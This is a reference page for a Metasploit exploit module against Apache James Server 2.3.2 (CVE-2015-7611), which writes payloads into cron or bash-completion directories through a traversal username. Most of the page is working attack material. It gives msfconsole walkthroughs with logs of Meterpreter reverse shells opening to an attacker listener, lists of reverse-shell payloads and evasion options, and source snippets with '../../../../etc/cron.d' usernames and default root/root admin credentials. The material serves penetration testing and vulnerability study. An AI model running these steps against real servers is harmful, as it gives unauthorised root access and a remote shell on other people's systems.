Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write - Metasploit
This page contains detailed information about how to use the exploit/linux/smtp/apache_james_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write
Module: exploit/linux/smtp/apache_james_exec
Source code: modules/exploits/linux/smtp/apache_james_exec.rb
Disclosure date: 2015-10-01
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): 25
List of CVEs: CVE-2015-7611
This module exploits a vulnerability that exists due to a lack of input validation when creating a user. Messages for a given user are stored in a directory partially defined by the username. By creating a user with a directory traversal payload as the username, commands can be written to a given directory. To use this module with the cron exploitation method, run the exploit using the given payload, host, and port. After running the exploit, the payload will be executed within 60 seconds. Due to differences in how cron may run in certain Linux operating systems such as Ubuntu, it may be preferable to set the target to Bash Completion as the cron method may not work. If the target is set to Bash completion, start a listener using the given payload, host, and port before running the exploit. After running the exploit, the payload will be executed when a user logs into the system. For this exploitation method, bash completion must be enabled to gain code execution. This exploitation method will leave an Apache James mail object artifact in the /etc/bash_completion.d directory and the malicious user account.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/smtp/apache_james_exec
msf exploit(apache_james_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits a vulnerability that exists due to a lack of input validation when creating a user in Apache James 2.3.2. By creating a user with a directory traversal payload as the username, commands can be written to a given directory/file. Instructions for installing the vulnerable application for testing can be found here: https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf
Verification Steps
1. Start msfconsole
2. DO: Load module exploit/linux/smtp/apache_james_exec
3. DO: Set the remote and local options: rhosts, lhosts, lport
4. DO: Set the preferred payload
5. DO: Run the check method to determine vulnerability
6. DO: Run the exploit
7. The payload will connect to the listener if the exploit is successful
Options
USERNAME: The administrator username for Apache James 2.3.2 remote administration tool. By default this is 'root'.
PASSWORD: The administrator password for Apache James 2.3.2 remote administration tool. By default this is 'root'.
ADMINPORT: The port for Apache James 2.3.2 remote administration tool. By default this is '4555'.
RHOSTS: The IP address of the vulnerable server.
RPORT: The port number of the SMTP service.
POP3PORT The port for the POP3 Apache James Service. By default this '110'.
Scenarios
If using Cron exploitation method: This method allows for automatic execution of the payload with no user interaction required and gives the attacker root privileges. It will also attempt to automatically cleanup the malicious user and the mail objects.
1. Load the module:
msf5 > use exploit/linux/smtp/apache_james_exec
2. Set remote and local options:
msf5 exploit(linux/smtp/apache_james_exec) > set target 1
target => 1
msf5 exploit(linux/smtp/apache_james_exec) > set rhosts 192.168.224.169
rhosts => 192.168.224.169
msf5 exploit(linux/smtp/apache_james_exec) > set lhost 192.168.224.167
lhost => 192.168.224.167
msf5 exploit(linux/smtp/apache_james_exec) > set lport 4444
lport => 4444
3. Set payload:
msf5 exploit(linux/smtp/apache_james_exec) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
4. Check version and run exploit:
msf5 exploit(linux/smtp/apache_james_exec) > check
[*] 192.168.224.164:25 - The target appears to be vulnerable.
msf5 exploit(linux/smtp/apache_james_exec) > exploit
[*] Started reverse TCP handler on 192.168.224.167:4444
[+] 192.168.224.169:25 - Waiting 60 seconds for cron to execute payload
[*] Sending stage (3021284 bytes) to 192.168.224.169
[*] Meterpreter session 1 opened (192.168.224.167:4444 -> 192.168.224.169:38694) at 2020-02-02 16:30:02 -0800
[*] 192.168.224.169:25 - Command Stager progress - 100.00% done (812/812 bytes)
meterpreter >
If using Bash Completion: This method may be preferable if targeting a linux operating system such as some versions of Ubuntu that fails to run the cron method for exploitation. This exploitation method will leave an Apache James mail object artifact in the /etc/bash_completion.d directory and the malicious user account.
1. Load the module:
msf5 > use exploit/linux/smtp/apache_james_exec
2. Set remote and local options:
msf5 exploit(linux/smtp/apache_james_exec) > set target 0
target => 0
msf5 exploit(linux/smtp/apache_james_exec) > set rhosts 192.168.224.164
rhosts => 192.168.224.164
msf5 exploit(linux/smtp/apache_james_exec) > set lhost 192.168.224.167
lhost => 192.168.224.167
msf5 exploit(linux/smtp/apache_james_exec) > set lport 4444
lport => 4444
3. Set payload:
msf5 exploit(linux/smtp/apache_james_exec) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
4. Check version and run exploit:
msf5 exploit(linux/smtp/apache_james_exec) > check
[*] 192.168.224.164:25 - The target appears to be vulnerable.
msf5 exploit(linux/smtp/apache_james_exec) > exploit
[*] 192.168.224.164:25 - Command Stager progress - 100.00% done (812/812 bytes)
5. Set up and run listener (Can be done before running exploit):
msf5 exploit(linux/smtp/apache_james_exec) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > set lhost 192.168.224.167
lhost => 192.168.224.167
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.224.167:4444
[*] Sending stage (3021284 bytes) to 192.168.224.164
[*] Meterpreter session 1 opened (192.168.224.167:4444 -> 192.168.224.164:34752) at 2020-01-18 18:25:14 -0800
meterpreter >
Targets
Id Name
-- ----
0 Bash Completion
1 Cron
References
Go back to menu.
Msfconsole Usage
Here is how the linux/smtp/apache_james_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/smtp/apache_james_exec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/smtp/apache_james_exec) > show info
Name: Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write
Module: exploit/linux/smtp/apache_james_exec
Platform: Linux
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-10-01
Provided by:
Palaczynski Jakub
Matthew Aberegg
Michael Burkey
Available targets:
Id Name
-- ----
0 Bash Completion
1 Cron
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ADMINPORT 4555 yes Port for James remote administration tool
PASSWORD root yes Root password for James remote administration tool
POP3PORT 110 no Port for POP3 Apache James Service
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 25 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
USERNAME root yes Root username for James remote administration tool
Payload information:
Description:
This module exploits a vulnerability that exists due to a lack of
input validation when creating a user. Messages for a given user are
stored in a directory partially defined by the username. By creating
a user with a directory traversal payload as the username, commands
can be written to a given directory. To use this module with the
cron exploitation method, run the exploit using the given payload,
host, and port. After running the exploit, the payload will be
executed within 60 seconds. Due to differences in how cron may run
in certain Linux operating systems such as Ubuntu, it may be
preferable to set the target to Bash Completion as the cron method
may not work. If the target is set to Bash completion, start a
listener using the given payload, host, and port before running the
exploit. After running the exploit, the payload will be executed
when a user logs into the system. For this exploitation method, bash
completion must be enabled to gain code execution. This exploitation
method will leave an Apache James mail object artifact in the
/etc/bash_completion.d directory and the malicious user account.
References:
https://nvd.nist.gov/vuln/detail/CVE-2015-7611
https://www.exploit-db.com/exploits/35513
https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf
Module Options
This is a complete list of options available in the linux/smtp/apache_james_exec exploit:
msf6 exploit(linux/smtp/apache_james_exec) > show options
Module options (exploit/linux/smtp/apache_james_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ADMINPORT 4555 yes Port for James remote administration tool
PASSWORD root yes Root password for James remote administration tool
POP3PORT 110 no Port for POP3 Apache James Service
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 25 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
USERNAME root yes Root username for James remote administration tool
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Cron
Advanced Options
Here is a complete list of advanced options supported by the linux/smtp/apache_james_exec exploit:
msf6 exploit(linux/smtp/apache_james_exec) > show advanced
Module advanced options (exploit/linux/smtp/apache_james_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, echo, printf, wget, curl)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 90 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/smtp/apache_james_exec module can exploit:
msf6 exploit(linux/smtp/apache_james_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Bash Completion
1 Cron
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/smtp/apache_james_exec exploit:
msf6 exploit(linux/smtp/apache_james_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
12 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
13 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
14 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
15 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
16 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
17 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
18 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
19 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
20 payload/linux/x86/adduser normal No Linux Add User
21 payload/linux/x86/chmod normal No Linux Chmod
22 payload/linux/x86/exec normal No Linux Execute Command
23 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
24 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
25 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
26 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
27 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
28 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
29 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
31 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
32 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
33 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
34 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
35 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
36 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
37 payload/linux/x86/read_file normal No Linux Read File
38 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
39 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
40 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
41 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
42 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
43 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
44 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
46 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
47 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
48 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
49 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
50 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
51 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/smtp/apache_james_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/smtp/apache_james_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Target port <RPORT> is not a JAMES SMTP server
- Target is not JAMES Remote Administration Tool
- Could not determine JAMES Remote Administration Tool version
- Version <VERSION> of JAMES Remote Administration Tool may be vulnerable
- Failed to remove payload message for user '../../../../../../../../etc/cron.d' with password '<ACCOUNT_PASSWORD>'
- You need to start your handler: 'handler -H <LHOST> -P <LPORT> -p <PAYLOAD>'
- After payload is triggered, delete the message and account of user '../../../../../../../../etc/bash_completion.d' with password '<ACCOUNT_PASSWORD>' to fully clean up exploit artifacts.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target port <RPORT> is not a JAMES SMTP server
Here is a relevant code snippet related to the "Target port <RPORT> is not a JAMES SMTP server" error message:
78: # SMTP service check
79: connect
80: smtp_banner = sock.get_once
81: disconnect
82: unless smtp_banner.to_s.include? "JAMES SMTP Server"
83: return CheckCode::Safe("Target port #{rport} is not a JAMES SMTP server")
84: end
85:
86: # James Remote Administration Tool service check
87: connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']})
88: admin_banner = sock.get_once
Target is not JAMES Remote Administration Tool
Here is a relevant code snippet related to the "Target is not JAMES Remote Administration Tool" error message:
86: # James Remote Administration Tool service check
87: connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']})
88: admin_banner = sock.get_once
89: disconnect
90: unless admin_banner.to_s.include? "JAMES Remote Administration Tool"
91: return CheckCode::Safe("Target is not JAMES Remote Administration Tool")
92: end
93:
94: # Get version number
95: version = admin_banner.scan(/JAMES Remote Administration Tool ([\d\.]+)/).flatten.first
96: # Null check
Could not determine JAMES Remote Administration Tool version
Here is a relevant code snippet related to the "Could not determine JAMES Remote Administration Tool version" error message:
93:
94: # Get version number
95: version = admin_banner.scan(/JAMES Remote Administration Tool ([\d\.]+)/).flatten.first
96: # Null check
97: unless version
98: return CheckCode::Detected("Could not determine JAMES Remote Administration Tool version")
99: end
100: # Create version objects
101: target_version = Rex::Version.new(version)
102: vulnerable_version = Rex::Version.new("2.3.2")
103:
Version <VERSION> of JAMES Remote Administration Tool may be vulnerable
Here is a relevant code snippet related to the "Version <VERSION> of JAMES Remote Administration Tool may be vulnerable" error message:
105: if target_version > vulnerable_version
106: return CheckCode::Safe
107: elsif target_version == vulnerable_version
108: return CheckCode::Appears
109: elsif target_version < vulnerable_version
110: return CheckCode::Detected("Version #{version} of JAMES Remote Administration Tool may be vulnerable")
111: end
112: end
113:
114: def execute_james_admin_tool_command(cmd)
115: username = datastore['USERNAME']
Failed to remove payload message for user '../../../../../../../../etc/cron.d' with password '<ACCOUNT_PASSWORD>'
Here is a relevant code snippet related to the "Failed to remove payload message for user '../../../../../../../../etc/cron.d' with password '<ACCOUNT_PASSWORD>'" error message:
141: sock.puts("dele 1\r\n")
142: sock.get_once
143: sock.puts("quit\r\n")
144: disconnect
145: rescue
146: print_bad("Failed to remove payload message for user '../../../../../../../../etc/cron.d' with password '#{@account_password}'")
147: end
148:
149: # Delete malicious user
150: delete_user_command = "deluser ../../../../../../../../etc/cron.d\n"
151: execute_james_admin_tool_command(delete_user_command)
You need to start your handler: 'handler -H <LHOST> -P <LPORT> -p <PAYLOAD>'
Here is a relevant code snippet related to the "You need to start your handler: 'handler -H <LHOST> -P <LPORT> -p <PAYLOAD>'" error message:
183: def execute_cmdstager_end(opts)
184: if target['ExploitPath'] == "cron.d"
185: print_status("Waiting for cron to execute payload...")
186: else
187: print_status("Payload will be triggered when someone logs onto the target")
188: print_warning("You need to start your handler: 'handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}'")
189: print_warning("After payload is triggered, delete the message and account of user '../../../../../../../../etc/bash_completion.d' with password '#{@account_password}' to fully clean up exploit artifacts.")
190: end
191: end
192:
193: def exploit
After payload is triggered, delete the message and account of user '../../../../../../../../etc/bash_completion.d' with password '<ACCOUNT_PASSWORD>' to fully clean up exploit artifacts.
Here is a relevant code snippet related to the "After payload is triggered, delete the message and account of user '../../../../../../../../etc/bash_completion.d' with password '<ACCOUNT_PASSWORD>' to fully clean up exploit artifacts." error message:
184: if target['ExploitPath'] == "cron.d"
185: print_status("Waiting for cron to execute payload...")
186: else
187: print_status("Payload will be triggered when someone logs onto the target")
188: print_warning("You need to start your handler: 'handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}'")
189: print_warning("After payload is triggered, delete the message and account of user '../../../../../../../../etc/bash_completion.d' with password '#{@account_password}' to fully clean up exploit artifacts.")
190: end
191: end
192:
193: def exploit
194: execute_cmdstager(background: true)
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14359 Merged Pull Request: Preference target values when registering options
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12862 Merged Pull Request: Add Apache James 2.3.2 Arbitrary File Write Exploit Module
References
- CVE-2015-7611
- EDB-35513
- https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf
See Also
Check also the following modules related to this module:
- exploit/linux/http/apache_continuum_cmd_exec
- exploit/linux/http/apache_couchdb_cmd_exec
- exploit/linux/http/apache_druid_js_rce
- exploit/linux/http/apache_ofbiz_deserialization
- exploit/linux/http/apache_ofbiz_deserialization_soap
- exploit/linux/http/apache_spark_rce_cve_2022_33891
- exploit/linux/smtp/exim4_dovecot_exec
- exploit/linux/smtp/exim_gethostbyname_bof
- exploit/linux/smtp/haraka
- exploit/multi/http/apache_activemq_upload_jsp
- exploit/multi/http/apache_apisix_api_default_token_rce
- exploit/multi/http/apache_couchdb_erlang_rce
- exploit/multi/http/apache_flink_jar_upload_exec
- exploit/multi/http/apache_jetspeed_file_upload
- exploit/multi/http/apache_mod_cgi_bash_env_exec
- exploit/multi/http/apache_nifi_processor_rce
- exploit/multi/http/apache_normalize_path_rce
- exploit/multi/http/apache_roller_ognl_injection
- exploit/windows/http/apache_activemq_traversal_upload
- exploit/windows/http/apache_chunked
- exploit/windows/http/apache_modjk_overflow
- exploit/windows/http/apache_mod_rewrite_ldap
- exploit/windows/http/apache_tika_jp2_jscript
- exploit/windows/http/php_apache_request_headers_bof
Related Nessus plugins:
Authors
- Palaczynski Jakub
- Matthew Aberegg
- Michael Burkey
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.